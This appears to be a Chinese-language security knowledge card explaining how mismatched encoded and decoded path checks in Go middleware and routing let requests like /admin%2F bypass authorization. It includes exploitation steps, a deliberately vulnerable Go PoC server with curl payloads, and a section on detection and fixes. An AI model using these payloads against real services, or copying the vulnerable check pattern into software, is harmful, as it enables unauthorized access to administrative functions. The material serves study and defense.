Go 编码视图校验与解码视图路由的授权前缀绕过
web/golang · verified
一句话结论
当 Go 中间件用 r.URL.EscapedPath()(编码视图)做字面/精确校验,而后续业务路由用 r.URL.Path(解码视图)做 /admin 前缀判断时,/admin%2F、/admin%2f、/admin%252F、/admin%2e%2e 等请求会同时通过两道检查,未授权访问管理功能。
原理
- Go 的
net/url对同一请求暴露两份路径:EscapedPath()保留%2F、%2e等编码形态;Path是百分号解码后的形态。两者在编码存在时字面不同。 - 中间件若只拒绝字面
"/admin"(EscapedPath() == "/admin"),它拦截的是规范化后的单一写法;任何带编码的等价路径都不等于该字面量,直接放行。 - 业务层若用
strings.HasPrefix(r.URL.Path, "/admin")判断,/admin%2F解码为/admin/,/admin%2e%2e解码为/admin..,均满足前缀条件,进入管理逻辑。 - 即使中间件改成了对
EscapedPath()做前缀匹配,/admin%2F的字符串仍以/admin开头,也可能放行;但若中间件要求匹配/admin/这个带斜杠的前缀,编码视图里的%2F不是斜杠,反而失配。关键不是某一种写法,而是校验与路由各自选择了一份视图,且没有把两份视图归一化到同一语义。 - 更普遍的解析器分歧:WAF/第三方框架通常把
%2F当作斜杠切段,看到/admin/...;Go 1.22 ServeMux 按编码视图切段,%2F不是分隔符。安全设备与后端路由对同一请求得到不同段集合,攻击者可以让 WAF 看到"无害"、让后端看到"敏感前缀"。 - 明文
/.是例外:cleanPath只识别明文点段,会被折叠并 307 重定向到/admin,随后仍进入业务处理器;编码点段%2e则不在折叠范围内。
触发条件
- Go
net/http服务,存在按路径前缀保护的管理/敏感路由。 - 授权中间件使用编码视图(
EscapedPath()/RequestURI)做字面或精确匹配,或与业务层使用不同的路径字段。 - 业务路由/处理器使用解码视图(
URL.Path、PathValue)做前缀或包含判断。 - 敏感功能仅靠路径前缀隔离,没有独立资源级授权。
利用步骤
- 找到只允许特定前缀访问的敏感功能,记录正常访问行为,例如
GET /admin返回 401。 - 尝试编码斜杠变体:
GET /admin%2F、GET /admin%2f。中间件看编码视图不等于/admin,放行;业务看解码视图/admin/命中前缀。 - 若被拦,尝试双重编码
GET /admin%252F(解码一次后为/admin%2F)或编码点段GET /admin%2e%2e(解码为/admin..)。 - 观察响应是否返回管理数据或执行管理操作;同时对比 WAF/代理日志与后端日志中的路径形态差异。
- 若后端使用 ServeMux 且前缀路由对无尾斜杠返回 307,跟随重定向时注意编码斜杠是否被保留。
PoC
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func admin(w http.ResponseWriter, r *http.Request) {
// 业务侧按解码 Path 前缀路由到管理功能
if strings.HasPrefix(r.URL.Path, "/admin") {
fmt.Fprintf(w, "ADMIN_SECRET [%s]\n", r.URL.Path)
return
}
fmt.Fprintf(w, "PUBLIC [%s]\n", r.URL.Path)
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
// 中间件:编码视图精确校验,只拒绝字面 /admin
if r.URL.EscapedPath() == "/admin" {
http.Error(w, "AUTH_401", http.StatusUnauthorized)
return
}
admin(w, r)
})
log.Fatal(http.ListenAndServe("127.0.0.1:8086", mux))
}
curl -i 'http://127.0.0.1:8086/admin'
# -> 401 AUTH_401
curl -i 'http://127.0.0.1:8086/admin%2F'
# -> 200 ADMIN_SECRET [/admin/]
curl -i 'http://127.0.0.1:8086/admin%2f'
# -> 200 ADMIN_SECRET [/admin/]
curl -i 'http://127.0.0.1:8086/admin%252F'
# -> 200 ADMIN_SECRET [/admin%2F]
curl -i 'http://127.0.0.1:8086/admin%2e%2e'
# -> 200 ADMIN_SECRET [/admin..]
# 明文点段会被 cleanPath 折叠并 307,但重定向后仍进入业务处理器
curl -i --path-as-is 'http://127.0.0.1:8086/admin/.'
# -> 307 Location: /admin
变体与关联
- 变体:大小写编码
%2f与%2F等价;双重编码%252F是否生效取决于解码次数。 - 变体:编码点段
%2e%2e、.%2e在编码视图不被折叠,解码后恢复..或形成admin..前缀匹配。 - 变体:
RequestURI与URL.Path混用、反向代理重写路径后再交给 Go 服务,也会产生视图差异。 - 变体:WAF/gin/echo 与 ServeMux 对
%2F的段划分不同,可用于同时欺骗 WAF 与后端路由。 - 关联:[[web-golang-servemux-encoded-slash-path-traversal]] 讲同一双视图在文件读取交付层的利用;本卡聚焦授权中间件与业务路由的视图错配。
检测与防御
- 检测:同一请求在 WAF、反向代理、应用日志中的路径形态不一致;
EscapedPath与Path的归一化结果不同。 - 检测:敏感路由出现带
%2F、%2e、%25的访问尝试,且返回 200。 - 修复:授权、路由、交付统一使用同一份解析结果;在入口处做一次规范化(解码 +
path.Clean),后续全部基于规范化后的路径判断。 - 修复:不要用字符串前缀做授权。敏感资源使用显式资源 ID、路由分组 + 独立中间件或 token 绑定,路径只用于定位。
- 修复:拒绝含编码分隔符(
%2F、%5C)和编码点段的请求,或在解码后重新校验边界。 - 加固:中间件与业务路由共用同一套路径解析函数,避免一个用
EscapedPath()、另一个用URL.Path。 - 测试:把
/admin%2F、/admin%2f、/admin%252F、/admin%2e%2e、/admin/.写成必须被拒绝的回归用例。